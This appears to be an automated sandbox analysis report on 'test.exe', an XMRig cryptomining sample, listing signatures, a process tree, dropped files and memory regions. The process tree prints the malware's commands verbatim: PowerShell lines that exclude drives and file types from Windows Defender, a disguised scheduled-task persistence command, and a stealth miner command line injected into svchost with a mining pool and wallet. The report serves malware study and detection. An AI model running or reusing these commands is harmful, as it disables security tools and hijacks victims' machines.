Analysis

  • max time kernel
    1197s
  • max time network
    1189s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240802-en
  • resource tags

    arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    04/09/2024, 18:22

General

  • Target

    test.exe

  • Size

    29.7MB

  • MD5

    531a4e282c420c64d7b545a9c4e0fb4d

  • SHA1

    998d298e9ff967bec6f03bf8e8e8f03b4b3728db

  • SHA256

    98ced6e951485c45ebdeda3bbc04bd2918867e0490900b39789d9b4637a7409c

  • SHA512

    c1d8296e2ba1e1ca9e1860548b884414e2cde06c584c40a4306d248b9c9ccbbff7e55a717d742ea14cc849db41838cfa6feb7638d888c627ff95abcb13df6730

  • SSDEEP

    786432:k99QkndbvqJ6+eH57FU4hxLq54xTxyCuYWQzJ2Mbvn:i1nM8hHxPhxO5iTECuYWQzJ7bv

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 16 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\test.exe
    "C:\Users\Admin\AppData\Local\Temp\test.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:240
    • C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\test.exe"
      2⤵
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:1924
      • C:\Windows\System32\cmd.exe
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2588
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2068
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3808
      • C:\Windows\System32\cmd.exe
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1980
        • C:\Windows\system32\schtasks.exe
          schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5064
      • C:\Windows\System32\cmd.exe
        "cmd" cmd /c "C:\Windows\system32\services64.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3752
        • C:\Windows\system32\services64.exe
          C:\Windows\system32\services64.exe
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:5056
          • C:\Windows\System32\conhost.exe
            "C:\Windows\System32\conhost.exe" "C:\Windows\system32\services64.exe"
            5⤵
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1172
            • C:\Windows\System32\cmd.exe
              "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:4540
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3548
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3972
            • C:\Windows\System32\svchost.exe
              C:\Windows/System32\svchost.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:3333 --user=47nUe8D3z4bjgwqG9v4tKY3sBMcoEdvQ3iJMC8A8udU7DngaeR7hNhKETaaQD1iWhadw6j9iNWqf6fKiVcMy35kdVbxAzyD --pass= --cpu-max-threads-hint=60 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=80 --tls --cinit-stealth
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1164

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

    Filesize

    646B

    MD5

    77c55532f6106f9f01c86aac8ad7d486

    SHA1

    6083606a4db53d5b82f62441b749be6c7812d15a

    SHA256

    ffc096d92c2eaddfcfd323d54f3e1f6e916d05db3d0402ec28548cdf35ad6e8d

    SHA512

    dcb680b4205411eee8aadf3f9fbaf4aeea0e2a5216e4812abf96c9f71a19805088e5dd3adf784a66ad6ca0989279da405920e3c1e82b9fb4d12dae1762ebeb8e

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    627073ee3ca9676911bee35548eff2b8

    SHA1

    4c4b68c65e2cab9864b51167d710aa29ebdcff2e

    SHA256

    85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

    SHA512

    3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    d0a4a3b9a52b8fe3b019f6cd0ef3dad6

    SHA1

    fed70ce7834c3b97edbd078eccda1e5effa527cd

    SHA256

    21942e513f223fdad778348fbb20617dd29f986bccd87824c0ae7f15649f3f31

    SHA512

    1a66f837b4e7fb6346d0500aeacb44902fb8a239bce23416271263eba46fddae58a17075e188ae43eb516c841e02c87e32ebd73256c7cc2c0713d00c35f1761b

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    781da0576417bf414dc558e5a315e2be

    SHA1

    215451c1e370be595f1c389f587efeaa93108b4c

    SHA256

    41a5aef8b0bbeea2766f40a7bba2c78322379f167c610f7055ccb69e7db030fe

    SHA512

    24e283aa30a2903ebe154dad49b26067a45e46fec57549ad080d3b9ec3f272044efaaed3822d067837f5521262192f466c47195ffe7f75f8c7c5dcf3159ea737

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    aa6b748cd8f3e3c0e41549529b919e21

    SHA1

    5a4b9721f9fb5042f6ef7afd698d5ac5216a88bb

    SHA256

    d7d665a42f940443efb28eb231dfe1c4062394e71fba145d6eea9ec075b0f0e8

    SHA512

    361c523f49428a7e430279099e669a1a8af8764653f42e83105c0da3f8e8dd3be6c1719ea8c158d8f2e8425d74457147a4683190eb4a67019b9d02be44c13534

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sa2cxpxw.qtb.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Windows\system32\services64.exe

    Filesize

    29.7MB

    MD5

    531a4e282c420c64d7b545a9c4e0fb4d

    SHA1

    998d298e9ff967bec6f03bf8e8e8f03b4b3728db

    SHA256

    98ced6e951485c45ebdeda3bbc04bd2918867e0490900b39789d9b4637a7409c

    SHA512

    c1d8296e2ba1e1ca9e1860548b884414e2cde06c584c40a4306d248b9c9ccbbff7e55a717d742ea14cc849db41838cfa6feb7638d888c627ff95abcb13df6730

  • memory/1164-62-0x0000020A51BB0000-0x0000020A51BD0000-memory.dmp

    Filesize

    128KB

  • memory/1164-70-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/1164-79-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/1164-80-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/1164-76-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/1164-78-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/1164-77-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/1164-74-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/1164-73-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/1164-72-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/1164-59-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/1164-67-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/1164-66-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/1164-64-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/1164-68-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/1164-65-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/1164-61-0x0000000140000000-0x0000000140786000-memory.dmp

    Filesize

    7.5MB

  • memory/1924-0-0x000001D06C7B0000-0x000001D06E566000-memory.dmp

    Filesize

    29.7MB

  • memory/1924-1-0x00007FF96E0C3000-0x00007FF96E0C5000-memory.dmp

    Filesize

    8KB

  • memory/1924-5-0x000001D071EF0000-0x000001D071EFA000-memory.dmp

    Filesize

    40KB

  • memory/1924-2-0x00007FF96E0C0000-0x00007FF96EB82000-memory.dmp

    Filesize

    10.8MB

  • memory/1924-3-0x000001D0747A0000-0x000001D076556000-memory.dmp

    Filesize

    29.7MB

  • memory/1924-6-0x00007FF96E0C0000-0x00007FF96EB82000-memory.dmp

    Filesize

    10.8MB

  • memory/1924-34-0x00007FF96E0C0000-0x00007FF96EB82000-memory.dmp

    Filesize

    10.8MB

  • memory/1924-30-0x00007FF96E0C0000-0x00007FF96EB82000-memory.dmp

    Filesize

    10.8MB

  • memory/1924-16-0x00007FF96E0C0000-0x00007FF96EB82000-memory.dmp

    Filesize

    10.8MB

  • memory/1924-4-0x000001D071EC0000-0x000001D071ED2000-memory.dmp

    Filesize

    72KB

  • memory/2068-15-0x000001EFE0D90000-0x000001EFE0DB2000-memory.dmp

    Filesize

    136KB